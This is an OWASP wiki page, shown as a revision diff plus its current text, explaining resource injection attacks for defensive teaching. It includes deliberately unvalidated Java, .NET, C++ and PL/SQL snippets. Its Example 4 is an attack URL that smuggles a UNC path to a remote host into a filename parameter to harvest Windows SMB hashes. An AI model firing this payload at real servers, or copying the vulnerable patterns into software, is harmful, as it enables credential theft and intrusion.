Difference between revisions of "Resource Injection"

From OWASP
Jump to: navigation, search
(Description)
m
 
(12 intermediate revisions by 4 users not shown)
Line 2: Line 2:
 
<br>
 
<br>
 
[[Category:OWASP ASDR Project]]
 
[[Category:OWASP ASDR Project]]
[[ASDR Table of Contents]]__TOC__
+
 
 +
 
 +
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
  
 
==Description==
 
==Description==
 
+
This attack consists of changing resource identifiers used by an application in order to perform a malicious task. When an application defines a resource type or location based on user input, such as a file name or port number, this data can be manipulated to execute or access different resources.
This attack consists of changing resource identifiers used by an application in order to perform a malicious task. When an application permits a user input to define a resource, like a file name or port number, this data can be manipulated to execute or access different resources.
 
 
<br>
 
<br>
In order to be properly executed, the attacker must have the possibility to specify a resource identifier through the  application form and the application must permit its execution.
+
The resource type affected by user input indicates the content type that may be exposed. For example, an application that permits input of special characters like period, slash, and backslash is risky when used in conjunction with methods that interact with the filesystem.
 
 
The resource type affected by user input indicates the content type that may be exposed. For example, an application that permits input of special characters like period, slash, and backslash is risky when used in methods that interact with the file system.
 
 
 
The resource injection attack focuses on accessing other resources than the local filesystem, which is different attack technique known as a [[Path Manipulation]] attack.<br>
 
 
 
== Risk Factors==
 
TBD
 
[[Category:FIXME|need content here]]
 
  
 +
The resource injection attack differs from [[Path Manipulation]] as resource injection focuses on accessing resources other than the local filesystem, while [[Path Manipulation]] focuses on accessing the local filesystem.<br>
  
 
==Examples ==
 
==Examples ==
  
 
===Example 1===
 
===Example 1===
The following examples represent an application which gets a port number from HTTP request and create a socket with this port number without any validation. A user using a proxy can modify this port and obtain a direct connection (socket) with the server.
+
The following examples represent an application which gets a port number from an HTTP request and creates a socket with this port number without any validation. A user using a proxy can modify this port and obtain a direct connection (socket) with the server.
 
<br><br>
 
<br><br>
  
Line 55: Line 49:
  
 
===Example 3===
 
===Example 3===
This example in PLSQL / TSQL gets a URL path from a CGI and downloads the file contained on it. If a user modify the path or filename it’s possible to download arbitrary files from server:
+
This example in PLSQL / TSQL gets a URL path from a CGI and downloads the file contained in it. If a user modifies the path or filename, it’s possible to download arbitrary files from server:
 
  ...
 
  ...
 
  filename := SUBSTR(OWA_UTIL.get_cgi_env('PATH_INFO'), 2);
 
  filename := SUBSTR(OWA_UTIL.get_cgi_env('PATH_INFO'), 2);
Line 61: Line 55:
 
  ...
 
  ...
  
 +
===Example 4===
 +
This example shows a resource injection attack focused on obtaining Microsoft Windows SMB hashes from a remote server:
 +
 +
http://www.vulnerable.com/open.aspx?filename=\\192.168.1.2\test.txt
  
 
==Related [[Threat Agents]]==
 
==Related [[Threat Agents]]==
Line 79: Line 77:
  
 
==References==
 
==References==
* http://samate.nist.gov/SRD/view_testcase.php?login=Guest&tID=1734 <br>
+
* http://samate.nist.gov/SRD/view_testcase.php?tID=1734
* http://cwe.mitre.org/data/definitions/99.html <br>
+
* http://cwe.mitre.org/data/definitions/99.html
* http://capec.mitre.org/data/index.html#Definition <br>
+
* https://cwe.mitre.org/data/definitions/40.html
* http://www.fortifysoftware.com/vulncat/ <br>
+
* http://capec.mitre.org/data/index.html#Definition
 +
* http://www.fortifysoftware.com/vulncat/
 
* G. Hoglund and G. McGraw. Exploiting Software. Addison-Wesley, 2004.
 
* G. Hoglund and G. McGraw. Exploiting Software. Addison-Wesley, 2004.
  
  
[[Category: Injection Attack]]
+
[[Category: Injection]]
 
 
 
[[Category: Attack]]
 
[[Category: Attack]]

Latest revision as of 13:59, 6 October 2015

This is an Attack. To view all attacks, please see the Attack Category page.



Last revision (mm/dd/yy): 10/6/2015

Description

This attack consists of changing resource identifiers used by an application in order to perform a malicious task. When an application defines a resource type or location based on user input, such as a file name or port number, this data can be manipulated to execute or access different resources.
The resource type affected by user input indicates the content type that may be exposed. For example, an application that permits input of special characters like period, slash, and backslash is risky when used in conjunction with methods that interact with the filesystem.

The resource injection attack differs from Path Manipulation as resource injection focuses on accessing resources other than the local filesystem, while Path Manipulation focuses on accessing the local filesystem.

Examples

Example 1

The following examples represent an application which gets a port number from an HTTP request and creates a socket with this port number without any validation. A user using a proxy can modify this port and obtain a direct connection (socket) with the server.

Java code:

String rPort = request.getParameter("remotePort");
...
ServerSocket srvr = new ServerSocket(rPort);
Socket skt = srvr.accept(); 
...


.Net code:

int rPort = Int32.Parse(Request.get_Item("remotePort "));
...
IPEndPoint endpoint = new IPEndPoint(address,rPort);
socket = new Socket(endpoint.AddressFamily, 
SocketType.Stream, ProtocolType.Tcp);
socket.Connect(endpoint);
...

Example 2

This example is same as previous, but it gets port number from CGI requests using C++:

char* rPort = getenv("remotePort ");
...
serv_addr.sin_port = htons(atoi(rPort));
if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0) 
error("ERROR connecting");
...

Example 3

This example in PLSQL / TSQL gets a URL path from a CGI and downloads the file contained in it. If a user modifies the path or filename, it’s possible to download arbitrary files from server:

...
filename := SUBSTR(OWA_UTIL.get_cgi_env('PATH_INFO'), 2);
WPG_DOCLOAD.download_file(filename); 
...

Example 4

This example shows a resource injection attack focused on obtaining Microsoft Windows SMB hashes from a remote server:

http://www.vulnerable.com/open.aspx?filename=\\192.168.1.2\test.txt

Related Threat Agents

Related Attacks

Related Vulnerabilities

Related Controls

References